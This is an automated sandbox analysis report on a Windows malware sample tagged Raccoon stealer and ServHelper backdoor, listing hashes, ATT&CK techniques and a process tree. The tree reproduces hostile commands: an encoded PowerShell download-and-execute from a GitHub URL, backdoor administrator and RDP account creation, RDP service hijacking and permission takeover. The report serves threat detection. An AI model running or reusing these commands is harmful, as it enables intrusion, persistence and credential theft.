raccoon | 4e0cca88ac33e671cd7cc9689605b8830d03ad80e39e716516381499be1c906a

Analysis

max time kernel
123s
max time network
166s
platform
windows7_x64
resource
win7v20210408
submitted
02-06-2021 17:28

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General

Target

16f8d65303b998ddec384ba2f9382ad8.exe
Size

569KB
MD5

16f8d65303b998ddec384ba2f9382ad8
SHA1

0670a1f15e93fb73c82776c048c8e3df941f57ad
SHA256

4e0cca88ac33e671cd7cc9689605b8830d03ad80e39e716516381499be1c906a
SHA512

6b3e40d86193bfa0222295d5731ce9ed69e785f431beb557463951490d1934045b9b43a6ac86a869536b5483303812da9ad78058609740c5090a4b50c271c2de

Score

10^/10

raccoon servhelper e46634757936706c1ff491585768dd6fe231db30 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	1700	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1748	YT4e2ZjCSw.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1200	icacls.exe
316	icacls.exe
1184	icacls.exe
1536	takeown.exe
464	icacls.exe
988	icacls.exe
1424	icacls.exe
1684	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000013106-196.dat	upx
behavioral1/files/0x0006000000013108-197.dat	upx

Deletes itself 1 IoCs

pid	Process
1016	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
684	16f8d65303b998ddec384ba2f9382ad8.exe
684	16f8d65303b998ddec384ba2f9382ad8.exe
684	16f8d65303b998ddec384ba2f9382ad8.exe
684	16f8d65303b998ddec384ba2f9382ad8.exe
684	16f8d65303b998ddec384ba2f9382ad8.exe
684	16f8d65303b998ddec384ba2f9382ad8.exe
684	16f8d65303b998ddec384ba2f9382ad8.exe
684	16f8d65303b998ddec384ba2f9382ad8.exe
684	16f8d65303b998ddec384ba2f9382ad8.exe
684	16f8d65303b998ddec384ba2f9382ad8.exe
464	Process not Found
464	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
988	icacls.exe
1424	icacls.exe
1684	icacls.exe
1200	icacls.exe
316	icacls.exe
1184	icacls.exe
1536	takeown.exe
464	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2ec11c1-7da9-4ef2-8094-b0cbcfcbd011	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_29c9e6de-6f79-4067-b7e8-5e0ef1b6306c	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2423d31f-da64-4882-b48e-db72bb368496	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f8b21650-1736-4170-a062-ddb3e7c72996	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b55c43c5-ee54-4e77-b9dc-97533e15cfaf	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d3f0c6cb-0e6b-43c1-9ef8-2a97e1b84800	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6cf4f409-d95d-4222-acf9-f27ecd5ad21a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ae4fc65d-9ca4-4e6b-ba4f-8c363fd13025	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_740570d1-210b-49a6-95b5-429551eba84b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4c2e3809-8c76-4966-abbf-ea5240c3055c	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CKOWQQYR7HX2H8MZUWEW.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1285429d-8a59-45f1-b62e-9c864a7c23cd	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1332	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0038360e557d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1572	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	16f8d65303b998ddec384ba2f9382ad8.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	16f8d65303b998ddec384ba2f9382ad8.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1672	powershell.exe
1672	powershell.exe
1932	powershell.exe
1932	powershell.exe
1520	powershell.exe
1520	powershell.exe
1248	powershell.exe
1248	powershell.exe
1672	powershell.exe
1672	powershell.exe
1672	powershell.exe
1700	powershell.exe
1700	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
468	Process not Found
464	Process not Found
464	Process not Found
464	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1248	powershell.exe
Token: SeRestorePrivilege	988	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1788	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1788	WMIC.exe
Token: SeAuditPrivilege	1788	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1788	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1788	WMIC.exe
Token: SeAuditPrivilege	1788	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1056	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1056	WMIC.exe
Token: SeAuditPrivilege	1056	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1056	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1056	WMIC.exe
Token: SeAuditPrivilege	1056	WMIC.exe
Token: SeDebugPrivilege	1700	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 684 wrote to memory of 1748	684	16f8d65303b998ddec384ba2f9382ad8.exe	30
PID 684 wrote to memory of 1748	684	16f8d65303b998ddec384ba2f9382ad8.exe	30
PID 684 wrote to memory of 1748	684	16f8d65303b998ddec384ba2f9382ad8.exe	30
PID 684 wrote to memory of 1748	684	16f8d65303b998ddec384ba2f9382ad8.exe	30
PID 684 wrote to memory of 1016	684	16f8d65303b998ddec384ba2f9382ad8.exe	31
PID 684 wrote to memory of 1016	684	16f8d65303b998ddec384ba2f9382ad8.exe	31
PID 684 wrote to memory of 1016	684	16f8d65303b998ddec384ba2f9382ad8.exe	31
PID 684 wrote to memory of 1016	684	16f8d65303b998ddec384ba2f9382ad8.exe	31
PID 1016 wrote to memory of 1332	1016	cmd.exe	33
PID 1016 wrote to memory of 1332	1016	cmd.exe	33
PID 1016 wrote to memory of 1332	1016	cmd.exe	33
PID 1016 wrote to memory of 1332	1016	cmd.exe	33
PID 1748 wrote to memory of 1672	1748	YT4e2ZjCSw.exe	34
PID 1748 wrote to memory of 1672	1748	YT4e2ZjCSw.exe	34
PID 1748 wrote to memory of 1672	1748	YT4e2ZjCSw.exe	34
PID 1672 wrote to memory of 1608	1672	powershell.exe	36
PID 1672 wrote to memory of 1608	1672	powershell.exe	36
PID 1672 wrote to memory of 1608	1672	powershell.exe	36
PID 1608 wrote to memory of 1320	1608	csc.exe	37
PID 1608 wrote to memory of 1320	1608	csc.exe	37
PID 1608 wrote to memory of 1320	1608	csc.exe	37
PID 1672 wrote to memory of 1932	1672	powershell.exe	38
PID 1672 wrote to memory of 1932	1672	powershell.exe	38
PID 1672 wrote to memory of 1932	1672	powershell.exe	38
PID 1672 wrote to memory of 1520	1672	powershell.exe	40
PID 1672 wrote to memory of 1520	1672	powershell.exe	40
PID 1672 wrote to memory of 1520	1672	powershell.exe	40
PID 1672 wrote to memory of 1248	1672	powershell.exe	42
PID 1672 wrote to memory of 1248	1672	powershell.exe	42
PID 1672 wrote to memory of 1248	1672	powershell.exe	42
PID 1672 wrote to memory of 1536	1672	powershell.exe	45
PID 1672 wrote to memory of 1536	1672	powershell.exe	45
PID 1672 wrote to memory of 1536	1672	powershell.exe	45
PID 1672 wrote to memory of 464	1672	powershell.exe	46
PID 1672 wrote to memory of 464	1672	powershell.exe	46
PID 1672 wrote to memory of 464	1672	powershell.exe	46
PID 1672 wrote to memory of 988	1672	powershell.exe	47
PID 1672 wrote to memory of 988	1672	powershell.exe	47
PID 1672 wrote to memory of 988	1672	powershell.exe	47
PID 1672 wrote to memory of 1424	1672	powershell.exe	48
PID 1672 wrote to memory of 1424	1672	powershell.exe	48
PID 1672 wrote to memory of 1424	1672	powershell.exe	48
PID 1672 wrote to memory of 1684	1672	powershell.exe	49
PID 1672 wrote to memory of 1684	1672	powershell.exe	49
PID 1672 wrote to memory of 1684	1672	powershell.exe	49
PID 1672 wrote to memory of 1200	1672	powershell.exe	50
PID 1672 wrote to memory of 1200	1672	powershell.exe	50
PID 1672 wrote to memory of 1200	1672	powershell.exe	50
PID 1672 wrote to memory of 316	1672	powershell.exe	51
PID 1672 wrote to memory of 316	1672	powershell.exe	51
PID 1672 wrote to memory of 316	1672	powershell.exe	51
PID 1672 wrote to memory of 1184	1672	powershell.exe	52
PID 1672 wrote to memory of 1184	1672	powershell.exe	52
PID 1672 wrote to memory of 1184	1672	powershell.exe	52
PID 1672 wrote to memory of 1476	1672	powershell.exe	53
PID 1672 wrote to memory of 1476	1672	powershell.exe	53
PID 1672 wrote to memory of 1476	1672	powershell.exe	53
PID 1672 wrote to memory of 1572	1672	powershell.exe	54
PID 1672 wrote to memory of 1572	1672	powershell.exe	54
PID 1672 wrote to memory of 1572	1672	powershell.exe	54
PID 1672 wrote to memory of 1640	1672	powershell.exe	55
PID 1672 wrote to memory of 1640	1672	powershell.exe	55
PID 1672 wrote to memory of 1640	1672	powershell.exe	55
PID 1672 wrote to memory of 660	1672	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\16f8d65303b998ddec384ba2f9382ad8.exe
"C:\Users\Admin\AppData\Local\Temp\16f8d65303b998ddec384ba2f9382ad8.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:684
- C:\Users\Admin\AppData\Local\Temp\YT4e2ZjCSw.exe
  "C:\Users\Admin\AppData\Local\Temp\YT4e2ZjCSw.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1672
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vxh1a552\vxh1a552.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1608
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4EAC.tmp" "c:\Users\Admin\AppData\Local\Temp\vxh1a552\CSCCA7CC678930648B892A583DDEF56DB6.TMP"
        5⤵
        
        PID:1320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1248
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1536
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:464
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:988
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1424
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1684
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1200
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:316
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1184
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1476
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:1572
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1640
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:660
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:332
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:288
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:368
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:1368
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:972
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1288
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1460
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:1696
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1536
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1520
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:956
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\16f8d65303b998ddec384ba2f9382ad8.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1016
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1332

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1684
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1604
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1464

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc VD2yqvos /add
1⤵
PID:2032
- C:\Windows\system32\net.exe
  net.exe user wgautilacc VD2yqvos /add
  2⤵
  PID:1056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc VD2yqvos /add
    3⤵
    PID:1916

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1244
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1368
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:524

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:332
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:952
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1604

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:956
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1176
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1056

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc VD2yqvos
1⤵
PID:1476
- C:\Windows\system32\net.exe
  net.exe user wgautilacc VD2yqvos
  2⤵
  PID:1560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc VD2yqvos
    3⤵
    PID:1368

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1016
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1788

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2032
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1056

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:924
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1700

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:868
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:664

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/684-61-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/684-59-0x0000000075C71000-0x0000000075C73000-memory.dmp

Filesize
8KB

Download
memory/684-60-0x00000000004A0000-0x0000000000531000-memory.dmp

Filesize
580KB

Download
memory/1248-172-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

Filesize
8KB

Download
memory/1248-171-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

Filesize
8KB

Download
memory/1520-150-0x000000001A910000-0x000000001A911000-memory.dmp

Filesize
4KB

Download
memory/1520-144-0x000000001ABE0000-0x000000001ABE2000-memory.dmp

Filesize
8KB

Download
